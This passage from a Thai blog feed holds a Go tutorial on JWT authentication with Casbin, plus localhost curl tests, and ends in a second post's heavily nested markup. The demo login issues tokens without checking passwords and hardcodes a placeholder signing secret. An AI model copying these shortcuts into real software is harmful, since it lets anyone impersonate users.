&#xE43;&#xE14;&#xE41;&#xE25;&#xE30;&#xE17;&#xE33; Action &#xE2D;&#xE30;&#xE44;&#xE23;&#xE44;&#xE14;&#xE49;&#xE1A;&#xE49;&#xE32;&#xE07; &#xE42;&#xE14;&#xE22;&#xE43;&#xE19;&#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE19;&#xE35;&#xE49;&#xE08;&#xE30;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE01;&#xE33;&#xE2B;&#xE19;&#xE14;&#xE19;&#xE42;&#xE22;&#xE1A;&#xE32;&#xE22;&#xE43;&#xE19; File <code>policy.csv</code> &#xE41;&#xE25;&#xE30; Model &#xE43;&#xE19; File &#xA0;<code>model.conf</code></li></ul><figure class="kg-card kg-code-card"><pre><code>package main

import (
	&quot;fmt&quot;
	&quot;log&quot;
	&quot;net/http&quot;
	&quot;time&quot;

	&quot;github.com/casbin/casbin/v2&quot;
	&quot;github.com/gin-gonic/gin&quot;
	&quot;github.com/golang-jwt/jwt/v4&quot;
)

// Secret key &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE40;&#xE02;&#xE49;&#xE32;&#xE23;&#xE2B;&#xE31;&#xE2A; JWT (&#xE04;&#xE27;&#xE23;&#xE40;&#xE01;&#xE47;&#xE1A;&#xE44;&#xE27;&#xE49;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE04;&#xE27;&#xE32;&#xE21;&#xE25;&#xE31;&#xE1A;)
var jwtSecret = []byte(&quot;your-secret-key&quot;)

// generateToken &#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; JWT &#xE42;&#xE14;&#xE22;&#xE23;&#xE31;&#xE1A; username &#xE40;&#xE1B;&#xE47;&#xE19; claim
func generateToken(username string) (string, error) {
	claims := jwt.MapClaims{
		&quot;username&quot;: username,
		&quot;exp&quot;:      time.Now().Add(72 * time.Hour).Unix(), // &#xE2D;&#xE32;&#xE22;&#xE38; 72 &#xE0A;&#xE31;&#xE48;&#xE27;&#xE42;&#xE21;&#xE07;
	}
	token := jwt.NewWithClaims(jwt.SigningMethodHS256, claims)
	return token.SignedString(jwtSecret)
}

// JWTAuthMiddleware &#xE15;&#xE23;&#xE27;&#xE08;&#xE2A;&#xE2D;&#xE1A; JWT &#xE43;&#xE19; Header &#xE02;&#xE2D;&#xE07; Request
func JWTAuthMiddleware() gin.HandlerFunc {
	return func(c *gin.Context) {
		// &#xE14;&#xE36;&#xE07; Authorization header
		authHeader := c.GetHeader(&quot;Authorization&quot;)
		if authHeader == &quot;&quot; {
			c.JSON(http.StatusUnauthorized, gin.H{&quot;error&quot;: &quot;Authorization header required&quot;})
			c.Abort()
			return
		}

		// &#xE04;&#xE32;&#xE14;&#xE27;&#xE48;&#xE32; header &#xE2D;&#xE22;&#xE39;&#xE48;&#xE43;&#xE19;&#xE23;&#xE39;&#xE1B;&#xE41;&#xE1A;&#xE1A; &quot;Bearer &lt;token&gt;&quot;
		var tokenString string
		if len(authHeader) &gt; 7 &amp;&amp; authHeader[:7] == &quot;Bearer &quot; {
			tokenString = authHeader[7:]
		} else {
			c.JSON(http.StatusUnauthorized, gin.H{&quot;error&quot;: &quot;Invalid Authorization header format&quot;})
			c.Abort()
			return
		}

		// &#xE15;&#xE23;&#xE27;&#xE08;&#xE2A;&#xE2D;&#xE1A;&#xE41;&#xE25;&#xE30;&#xE41;&#xE1B;&#xE25;&#xE07; token
		token, err := jwt.Parse(tokenString, func(token *jwt.Token) (interface{}, error) {
			// &#xE15;&#xE23;&#xE27;&#xE08;&#xE2A;&#xE2D;&#xE1A; Signing Method
			if _, ok := token.Method.(*jwt.SigningMethodHMAC); !ok {
				return nil, fmt.Errorf(&quot;unexpected signing method: %v&quot;, token.Header[&quot;alg&quot;])
			}
			return jwtSecret, nil
		})
		if err != nil || !token.Valid {
			c.JSON(http.StatusUnauthorized, gin.H{&quot;error&quot;: &quot;Invalid or expired token&quot;})
			c.Abort()
			return
		}

		// &#xE14;&#xE36;&#xE07; username &#xE08;&#xE32;&#xE01; claims &#xE41;&#xE25;&#xE49;&#xE27;&#xE2A;&#xE48;&#xE07;&#xE15;&#xE48;&#xE2D;
		if claims, ok := token.Claims.(jwt.MapClaims); ok {
			c.Set(&quot;username&quot;, claims[&quot;username&quot;])
		}
		c.Next()
	}
}

func main() {
	// &#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Casbin enforcer &#xE42;&#xE14;&#xE22;&#xE43;&#xE0A;&#xE49; model.conf &#xE41;&#xE25;&#xE30; policy.csv
	enforcer, err := casbin.NewEnforcer(&quot;model.conf&quot;, &quot;policy.csv&quot;)
	if err != nil {
		log.Fatalf(&quot;Error creating enforcer: %v&quot;, err)
	}

	router := gin.Default()

	// Endpoint &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A; Login &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE2D;&#xE2D;&#xE01; JWT
	router.POST(&quot;/login&quot;, func(c *gin.Context) {
		var loginData struct {
			Username string `json:&quot;username&quot;`
			Password string `json:&quot;password&quot;`
		}
		if err := c.ShouldBindJSON(&amp;loginData); err != nil {
			c.JSON(http.StatusBadRequest, gin.H{&quot;error&quot;: &quot;Invalid request payload&quot;})
			return
		}

		// &#xE43;&#xE19;&#xE17;&#xE35;&#xE48;&#xE19;&#xE35;&#xE49;&#xE15;&#xE23;&#xE27;&#xE08;&#xE2A;&#xE2D;&#xE1A;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE41;&#xE1A;&#xE1A;&#xE07;&#xE48;&#xE32;&#xE22; &#xE46; (&#xE43;&#xE19; Production &#xE04;&#xE27;&#xE23;&#xE15;&#xE23;&#xE27;&#xE08;&#xE2A;&#xE2D;&#xE1A;&#xE01;&#xE31;&#xE1A;&#xE10;&#xE32;&#xE19;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;)
		// &#xE22;&#xE2D;&#xE21;&#xE23;&#xE31;&#xE1A;&#xE1C;&#xE39;&#xE49;&#xE43;&#xE0A;&#xE49; alice, bob &#xE41;&#xE25;&#xE30; nuttachot
		if loginData.Username != &quot;alice&quot; &amp;&amp; loginData.Username != &quot;bob&quot; &amp;&amp; loginData.Username != &quot;nuttachot&quot; {
			c.JSON(http.StatusUnauthorized, gin.H{&quot;error&quot;: &quot;Invalid credentials&quot;})
			return
		}

		token, err := generateToken(loginData.Username)
		if err != nil {
			c.JSON(http.StatusInternalServerError, gin.H{&quot;error&quot;: &quot;Failed to generate token&quot;})
			return
		}

		c.JSON(http.StatusOK, gin.H{&quot;token&quot;: token})
	})

	// Group &#xE02;&#xE2D;&#xE07; endpoint &#xE17;&#xE35;&#xE48;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE1C;&#xE48;&#xE32;&#xE19; JWT authentication
	protected := router.Group(&quot;/protected&quot;)
	protected.Use(JWTAuthMiddleware())
	{
		// Endpoint &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE15;&#xE23;&#xE27;&#xE08;&#xE2A;&#xE2D;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE40;&#xE02;&#xE49;&#xE32;&#xE16;&#xE36;&#xE07; resource &quot;grade&quot; &#xE14;&#xE49;&#xE27;&#xE22; action &quot;read&quot;
		protected.GET(&quot;/grade&quot;, func(c *gin.Context) {
			username, exists := c.Get(&quot;username&quot;)
			if !exists {
				c.JSON(http.StatusUnauthorized, gin.H{&quot;error&quot;: &quot;User information not found&quot;})
				return
			}

			// &#xE15;&#xE23;&#xE27;&#xE08;&#xE2A;&#xE2D;&#xE1A;&#xE2A;&#xE34;&#xE17;&#xE18;&#xE34;&#xE4C;&#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A; resource &quot;grade&quot; &#xE14;&#xE49;&#xE27;&#xE22; action &quot;read&quot;
			allowed, err := enforcer.Enforce(username, &quot;grade&quot;, &quot;view&quot;)
			if err != nil {
				c.JSON(http.StatusInternalServerError, gin.H{&quot;error&quot;: &quot;Error occurred during authorization&quot;})
				return
			}
			if !allowed {
				c.JSON(http.StatusForbidden, gin.H{&quot;error&quot;: &quot;Access denied: You don&apos;t have permission to read grade&quot;})
				return
			}

			c.JSON(http.StatusOK, gin.H{&quot;message&quot;: fmt.Sprintf(&quot;Hello %s, you have access to read grade&quot;, username)})
		})
	}

	// &#xE23;&#xE31;&#xE19; Server &#xE17;&#xE35;&#xE48; port 8080
	router.Run(&quot;:8080&quot;)
}
</code></pre><figcaption>main.go</figcaption></figure><h3 id="%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87-login-%E0%B9%81%E0%B8%A5%E0%B8%B0%E0%B9%83%E0%B8%8A%E0%B9%89%E0%B8%87%E0%B8%B2%E0%B8%99-jwt-%E0%B8%9C%E0%B9%88%E0%B8%B2%E0%B8%99%E0%B8%84%E0%B8%B3%E0%B8%AA%E0%B8%B1%E0%B9%88%E0%B8%87-curl">&#xE17;&#xE14;&#xE25;&#xE2D;&#xE07; Login &#xE41;&#xE25;&#xE30;&#xE43;&#xE0A;&#xE49;&#xE07;&#xE32;&#xE19; JWT &#xE1C;&#xE48;&#xE32;&#xE19;&#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07; Curl</h3><ul><li>Login &#xE14;&#xE49;&#xE27;&#xE22; Username &#xE41;&#xE25;&#xE30; Password &#xE1C;&#xE48;&#xE32;&#xE19; API &#xE40;&#xE2A;&#xE49;&#xE19; /login</li></ul><pre><code>curl -X POST http://localhost:8080/login \
-H &quot;Content-Type: application/json&quot; \
-d &apos;{&quot;username&quot;: &quot;nuttachot&quot;, &quot;password&quot;: &quot;password&quot;}&apos; </code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2025/02/Screenshot-2025-02-04-at-3.54.25-PM.png" class="kg-image" alt loading="lazy" width="2000" height="819" srcset="https://blog.pjjop.org/content/images/size/w600/2025/02/Screenshot-2025-02-04-at-3.54.25-PM.png 600w, https://blog.pjjop.org/content/images/size/w1000/2025/02/Screenshot-2025-02-04-at-3.54.25-PM.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2025/02/Screenshot-2025-02-04-at-3.54.25-PM.png 1600w, https://blog.pjjop.org/content/images/2025/02/Screenshot-2025-02-04-at-3.54.25-PM.png 2358w" sizes="(min-width: 720px) 720px"></figure><ul><li>&#xE19;&#xE33; JWT &#xE17;&#xE35;&#xE48;&#xE44;&#xE14;&#xE49;&#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE40;&#xE02;&#xE49;&#xE32;&#xE16;&#xE36;&#xE07; API &#xE40;&#xE2A;&#xE49;&#xE19; /protected/grade</li></ul><pre><code>curl -X GET http://localhost:8080/protected/grade \
-H &quot;Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3Mzg4OTQwNDEsInVzZXJuYW1lIjoibnV0dGFjaG90In0.gdK2Dgxd7xo8JMvRP4uL64DscYam3tNKrvd7tK4hIMY&quot;</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2025/02/Screenshot-2025-02-04-at-3.56.35-PM.png" class="kg-image" alt loading="lazy" width="2000" height="744" srcset="https://blog.pjjop.org/content/images/size/w600/2025/02/Screenshot-2025-02-04-at-3.56.35-PM.png 600w, https://blog.pjjop.org/content/images/size/w1000/2025/02/Screenshot-2025-02-04-at-3.56.35-PM.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2025/02/Screenshot-2025-02-04-at-3.56.35-PM.png 1600w, https://blog.pjjop.org/content/images/size/w2400/2025/02/Screenshot-2025-02-04-at-3.56.35-PM.png 2400w" sizes="(min-width: 720px) 720px"></figure><blockquote>&#xE17;&#xE31;&#xE49;&#xE07;&#xE19;&#xE35;&#xE49;&#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE19;&#xE33; Code &#xE19;&#xE35;&#xE49;&#xE44;&#xE1B;&#xE43;&#xE0A;&#xE49;&#xE43;&#xE19;&#xE23;&#xE30;&#xE1A;&#xE1A;&#xE08;&#xE23;&#xE34;&#xE07; &#xE40;&#xE23;&#xE32;&#xE04;&#xE27;&#xE23;&#xE08;&#xE31;&#xE14;&#xE42;&#xE04;&#xE23;&#xE07;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Code &#xE43;&#xE2B;&#xE21;&#xE48;&#xE43;&#xE2B;&#xE49;&#xE41;&#xE22;&#xE01;&#xE40;&#xE1B;&#xE47;&#xE19; Package &#xE15;&#xE48;&#xE32;&#xE07; &#xE46; &#xE42;&#xE14;&#xE22;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A;&#xE17;&#xE35;&#xE48;&#xE04;&#xE23;&#xE2D;&#xE1A;&#xE04;&#xE25;&#xE38;&#xE21; &#xE01;&#xE32;&#xE23;&#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23; Error &#xE17;&#xE35;&#xE48;&#xE40;&#xE2B;&#xE21;&#xE32;&#xE30;&#xE2A;&#xE21; &#xE41;&#xE25;&#xE30;&#xE21;&#xE32;&#xE15;&#xE23;&#xE01;&#xE32;&#xE23;&#xE14;&#xE49;&#xE32;&#xE19;&#xE04;&#xE27;&#xE32;&#xE21;&#xE1B;&#xE25;&#xE2D;&#xE14;&#xE20;&#xE31;&#xE22; &#xE19;&#xE2D;&#xE01;&#xE08;&#xE32;&#xE01;&#xE19;&#xE35;&#xE49;&#xE04;&#xE27;&#xE23;&#xE40;&#xE1E;&#xE34;&#xE48;&#xE21;&#xE23;&#xE30;&#xE1A;&#xE1A; Logging &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE15;&#xE34;&#xE14;&#xE15;&#xE32;&#xE21;&#xE01;&#xE32;&#xE23;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE14;&#xE49;&#xE27;&#xE22;</blockquote>]]></content:encoded></item><item><title><![CDATA[API Documentation]]></title><description><![CDATA[<figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2025/01/25001316_7020614.jpg" class="kg-image" alt loading="lazy" width="2000" height="2000" srcset="https://blog.pjjop.org/content/images/size/w600/2025/01/25001316_7020614.jpg 600w, https://blog.pjjop.org/content/images/size/w1000/2025/01/25001316_7020614.jpg 1000w, https://blog.pjjop.org/content/images/size/w1600/2025/01/25001316_7020614.jpg 1600w, https://blog.pjjop.org/content/images/2025/01/25001316_7020614.jpg 2000w" sizes="(min-width: 720px) 720px"></figure><p><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em>&#xE1A;&#xE17;&#xE04;&#xE27;&#xE32;&#xE21;&#xE42;&#xE14;&#xE22; </em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em>&#xE1C;&#xE28;.<em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em>&#xE14;&#xE23;.&#xE13;&#xE31;&#xE10;&#xE42;&#xE0A;&#xE15;&#xE34; &#xE1E;&#xE23;&#xE2B;&#xE21;&#xE24;&#xE17;&#xE18;&#xE34;&#xE4C;</em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em> &#xE41;&#xE25;&#xE30; <em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em>&#xE2D;.&#xE14;&#xE23;.</em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em>&#xE2A;&#xE31;&#xE08;&#xE08;&#xE32;&#xE20;&#xE23;&#xE13;&#xE4C; &#xE44;&#xE27;&#xE08;&#xE23;&#xE23;&#xE22;</em></em></em></em></p>]]></description><link>https://blog.pjjop.org/api-documentation/</link><guid isPermaLink="false">677c47a20325e40001ecabf5</guid><dc:creator><![CDATA[Nuttachot Promrit]]></dc:creator><pubDate>Wed, 08 Jan 2025 04:08:34 GMT</pubDate><content:encoded><![CDATA[<figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2025/01/25001316_7020614.jpg" class="kg-image" alt loading="lazy" width="2000" height="2000" srcset="https://blog.pjjop.org/content/images/size/w600/2025/01/25001316_7020614.jpg 600w, https://blog.pjjop.org/content/images/size/w1000/2025/01/25001316_7020614.jpg 1000w, https://blog.pjjop.org/content/images/size/w1600/2025/01/25001316_7020614.jpg 1600w, https://blog.pjjop.org/content/images/2025/01/25001316_7020614.jpg 2000w" sizes="(min-width: 720px) 720px"></figure><p><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em>&#xE1A;&#xE17;&#xE04;&#xE27;&#xE32;&#xE21;&#xE42;&#xE14;&#xE22; </em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em>&#xE1C;&#xE28;.<em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em>&#xE14;&#xE23;.&#xE13;&#xE31;&#xE10;&#xE42;&#xE0A;&#xE15;&#xE34; &#xE1E;&#xE23;&#xE2B;&#xE21;&#xE24;&#xE17;&#xE18;&#xE34;&#xE4C;</em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em> &#xE41;&#xE25;&#xE30; <em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em>&#xE2D;.&#xE14;&#xE23;.</em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em>&#xE2A;&#xE31;&#xE08;&#xE08;&#xE32;&#xE20;&#xE23;&#xE13;&#xE4C; &#xE44;&#xE27;&#xE08;&#xE23;&#xE23;&#xE22;&#xE32;</em></em></em></em><br><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><a href="https://www.cp.su.ac.th/?ref=blog.pjjop.org">&#xE20;&#xE32;&#xE04;&#xE27;&#xE34;&#xE0A;&#xE32;&#xE04;&#xE2D;&#xE21;&#xE1E;&#xE34;&#xE27;&#xE40;&#xE15;&#xE2D;&#xE23;&#xE4C;</a></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em><br><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em>&#xE04;&#xE13;&#xE30;&#xE27;&#xE34;&#xE17;&#xE22;&#xE32;&#xE28;&#xE32;&#xE2A;&#xE15;&#xE23;&#xE4C;</em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em><br><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><